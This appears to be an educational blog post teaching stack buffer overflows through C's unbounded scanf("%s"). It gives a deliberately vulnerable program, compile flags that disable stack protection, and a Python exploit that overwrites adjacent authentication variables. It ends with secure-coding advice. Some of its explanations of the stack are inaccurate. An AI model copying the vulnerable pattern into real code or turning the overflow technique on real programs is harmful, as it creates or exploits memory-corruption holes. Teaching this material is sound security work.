Why scanf() function is just like your Ex?!
Hey, ever your ex betrayed you? :)
Why scanf() function is just like your Ex?!
[embed]
Hey, ever your ex betrayed you? :)
Here is the scanf() function in C who betrayed your code’s security with a Classic Buffer Overflow vulnerability.
Index:
- What is Buffer?
- How buffer works?
- What is Buffer Overflow?
- Why scanf() is vulnerable?
- Secure coding practice
- What is Buffer?
Buffers are temporary memory regions located in the main memory (RAM) and are used to hold data while it is being transferred between devices, applications, or processes. The operating system allocates buffer space in RAM to ensure efficient data transfer, smooth input/output operations, or to accommodate speed differences between communicating devices.

Memory map
In a easy word let’s suppose you wrote a program and there’s some functionality that takes input and process it then that function use buffer to keep those inputs.
Basically, in stack we keep data which is we need for execution and that particular region is buffer….. and and and …. by the way stack is always have a fixed size.

- How buffer works?
[embed]
Buffer generally follow that FIFO procedure to work rbp register defines the base pointer which is the higher value pointer register and rsp register is the stack pointer which is the lower value pointer register in 64 architecture.

SO, in buffer data stores in Lower address to Higher address.
***rbp:*** Base Pointer (or Frame Pointer). This register points to the base of the current stack frame, providing a stable reference point for accessing local variables and function arguments within that frame.
***rsp: ***Stack Pointer. This register always points to the top of the current stack, which is the most recently pushed item or the next available location for a push operation. It dynamically changes as data is pushed onto or popped from the stack.
- What is Buffer Overflow?
[embed]
Let’s suppose you put water in a glass then after a while there will be moment come when the water will overflow. Exactly, same thing will happen in this scenario If we fill excess amount of random character in the buffer this will overflow and rewrite the Return address.
Now, What is a Return Address right?
In stack for a particular code execution there is a frame called return address which stores the initial location of rbp register just before the execution starts…. see every program gets particular amount of stack and every function have different stack frames so base pointer(rbp) should know that which was previous location right?

- Why scanf() is vulnerable?
[embed]
The scanf() function in C is vulnerable because, by default, it does not limit the amount of user input written into a buffer. If an attacker provides more input than the allocated size of the destination variable (e.g., a character array), scanf() will continue to write beyond the buffer’s boundary, causing a buffer overflow. This can corrupt memory, crash the program, or even allow the execution of malicious code.
Let’s understand this with an example…..
In this case we will compile this vulnerable code with Disables stack protector, allowing injected shellcode on the stack to run, Compiles the code for a 32-bit target instead of the default 64-bit
So, the command is …
gcc -o vuln vuln.c -fno-stack-protector -z execstack -m32
#include <stdio.h>
#include <string.h>
int main() {
char buffer[32];
unsigned int auth = 0;
unsigned int admin = 0;
printf("Enter your username: ");
scanf("%s", buffer);
if (auth == 3735928559 && admin == 3405691582) {
printf("\n=== ACCESS GRANTED ===\n");
printf("Welcome, administrator! black king\n");
printf("You have successfully exploited the buffer overflow!\n");
return 1;
} else {
printf("Access denied. auth=0x%x, admin=0x%x\n", auth, admin);
return 0;
}
}
So, this is a vulnerable code in C observe that there’s a scanf() function which is taking input as string in %s format specifier but it does not limiting the input characters.
Okay lemme explain the code for you….
#include <stdio.h>
#include <string.h>
int main() {
char buffer[32];
unsigned int auth = 0;
unsigned int admin = 0;
- In this portion in the main function buffer is a character variable with 32 character space.
printf("Enter your username: ");
scanf("%s", buffer);
- This is the most important part printf() function is printing the string but here scanf() function is taking input but %s format specifier is not limiting the number of input
if (auth == 3735928559 && admin == 3405691582) {
printf("\n=== ACCESS GRANTED ===\n");
printf("Welcome, administrator! black king\n");
printf("You have successfully exploited the buffer overflow!\n");
return 1;
} else {
printf("Access denied. auth=0x%x, admin=0x%x\n", auth, admin);
return 0;
}
}
- And in this code block just conditional statement you can see in any normal execution scenario we will get Access Denied message…. there’s no way that in which we’ll get a successful message
So, let’s see how can we smash the stack……….
[embed]
So, What is our stratagy right?
See we defined 32 in buffer array so in buffer we have to put 32 byte garbage values after that we can re write the value of admin_value and auth_value but we have to re write admin_value and auth_value in little-endian format.
I wrote a python program for that……….
#!/usr/bin/env python3
import subprocess
import struct
import sys
import os
def main():
print("=== SCANF BUFFER OVERFLOW EXPLOIT (PYTHON) ===\n")
binary_name = "./vuln"
if not os.path.exists(binary_name):
print(f"[!] Error: {binary_name} binary not found!")
return
print("[+] Constructing buffer overflow payload...")
padding = b"A" * 32
auth_value = struct.pack("<I", 3735928559)
admin_value = struct.pack("<I", 3405691582)
payload = padding + admin_value + auth_value
try:
process = subprocess.Popen(
[binary_name],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=False
)
stdout, stderr = process.communicate(input=payload, timeout=10)
exit_code = process.returncode
print("=== VULNERABLE PROGRAM OUTPUT ===")
if stdout:
output = stdout.decode('utf-8', errors='ignore')
print(output)
if "ACCESS GRANTED" in output or exit_code == 1:
print("\n*** 🎉 EXPLOIT SUCCESSFUL! 🎉 ***")
print("Buffer overflow successfully bypassed authentication!")
else:
print(f"\n[!] Exploit failed. Exit code: {exit_code}")
else:
print("(No output)")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
main()
Lemme help you to understand this………………
import subprocess
import struct
import sys
import os
def main():
print("=== SCANF BUFFER OVERFLOW EXPLOIT (PYTHON) ===\n")
It’s just imports and defining the main function and header…
binary_name = "./vuln"
if not os.path.exists(binary_name):
print(f"[!] Error: {binary_name} binary not found!")
return
Checks if the vulnerable binary exists at ./vuln before attempting to exploit it. If it doesn't exist, the script exits with an error message.
print("[+] Constructing buffer overflow payload...")
padding = b"A" * 32
auth_value = struct.pack("<I", 3735928559)
admin_value = struct.pack("<I", 3405691582)
Here’s the critical part of the exploit:
padding = b"A" * 32: Fills the 32-byte buffer declared aschar buffer[32]with the character 'A' (ASCII 0x41). This overflows the buffer boundary.struct.pack("<I", 3735928559): Converts the integer3735928559into 4 bytes in little-endian format (<Imeans unsigned int, little-endian). This is typically the value overwriting an authentication flag variable.struct.pack("<I", 3405691582): Similarly packs another integer value to overwrite a second variable (likely the "admin" flag), also 4 bytes.
The numeric values are intentionally chosen to set these variables to non-zero values, which tricks the program into thinking authentication succeeded.
payload = padding + admin_value + auth_value
Combines the padding and two packed values into a single payload that will be sent to the vulnerable program.
try:
process = subprocess.Popen(
[binary_name],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=False
)
Spawns the vulnerable binary as a subprocess with pipes connected to its stdin, stdout, and stderr. text=False means we're working with binary data (bytes), not text strings.
stdout, stderr = process.communicate(input=payload, timeout=10)
exit_code = process.returncode
communicate() sends the payload through stdin to the vulnerable program and captures its stdout and stderr output within a 10-second timeout. The exit code tells us how the program terminated.
Easy huh? And if you find it difficult read it again……. and still have doubt just reach me out…
Okay now let’s look for the output…….

Our payload just worked fine seeee…………
So, that’s how scanf() function betrayed us….. :)
- Secure coding practice
You can use scanf() function ofcourse but use %20s or use any number between “%” and “s” it defines how many character is will it take input or you can use fgets() function in which number of input character is defining is compulsory.
If I miss anything or if you wanna suggest me something or any doubt , please feel free to reach me out
[embed]
메타데이터
- post_id
- 5ceb468585cb
- slug
- why-scanf-function-is-just-like-your-ex-5ceb468585cb
- url
- https://medium.com/@hritombhattacharya029/why-scanf-function-is-just-like-your-ex-5ceb468585cb
- canonical_url
- https://medium.com/@hritombhattacharya029/why-scanf-function-is-just-like-your-ex-5ceb468585cb
- author_url
- https://medium.com/@hritombhattacharya029
- status
- ok
- fetched_at
- 2026-07-15 07:41:13